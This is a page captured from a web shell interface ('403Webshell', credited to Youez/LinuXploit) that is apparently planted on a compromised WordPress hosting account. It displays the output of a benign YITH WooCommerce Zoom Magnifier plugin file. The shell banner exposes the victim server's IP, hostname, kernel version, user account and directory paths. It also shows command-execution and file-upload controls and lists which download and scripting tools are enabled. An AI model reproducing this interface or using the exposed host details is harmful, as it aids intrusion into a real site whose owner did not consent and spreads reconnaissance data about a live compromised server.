403Webshell
Server IP : 51.91.236.193  /  Your IP : 216.73.216.224
Web Server : Apache
System : Linux webm010.cluster128.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : institutah ( 16501)
PHP Version : 7.2.34
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/institutah/www/wp-content/plugins/yith-woocommerce-zoom-magnifier/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/institutah/www/wp-content/plugins/yith-woocommerce-zoom-magnifier/functions.yith-wcmg.php
<?php
/**
 * Functions
 *
 * @author  Your Inspiration Themes
 * @package YITH WooCommerce Zoom Magnifier
 * @version 1.1.2
 */

if ( ! defined ( 'YITH_WCMG' ) ) {
    exit;
} // Exit if accessed directly

if ( ! function_exists ( 'yith_wcmg_is_enabled' ) ) {
    /**
     * Check if the plugin is enabled for the current context
     *
     * @return bool
     * @since 1.0.0
     */
    function yith_wcmg_is_enabled () {
        if ( wp_is_mobile () ) {
            return ( 'yes' == get_option ( 'yith_wcmg_enable_mobile' ) );
        }

        return get_option ( 'yith_wcmg_enable_plugin' ) == 'yes';
    }
}

if ( ! function_exists ( 'yit_shop_single_w' ) ) {
    /**
     * Return the shop_single image width
     *
     * @return integer
     * @since 1.0.0
     */
    function yit_shop_single_w () {
        $size = yit_get_image_size ( 'shop_single' );

        return $size[ 'width' ];
    }
}

if ( ! function_exists ( 'yit_shop_thumbnail_w' ) ) {
    /**
     * Return the shop_thumbnail image width
     *
     * @return integer
     * @since 1.0.0
     */
    function yit_shop_thumbnail_w () {
        $size = yit_get_image_size ( 'shop_thumbnail' );

        return $size[ 'width' ];
    }
}

/* FIX TO WOOCOMMERCE 2.1 */
if ( ! function_exists ( 'yit_get_image_size' ) ) {
    /**
     * Get default image size
     *
     * @param array $size current size
     *
     * @return array
     * @author Lorenzo Giuffrida
     * @since  1.0.0
     */
    function yit_get_image_size ( $size ) {
        if ( function_exists ( 'wc_get_image_size' ) ) {
            return wc_get_image_size ( $size );
        } else {
            global $woocommerce;

            return $woocommerce->get_image_size ( $size );
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit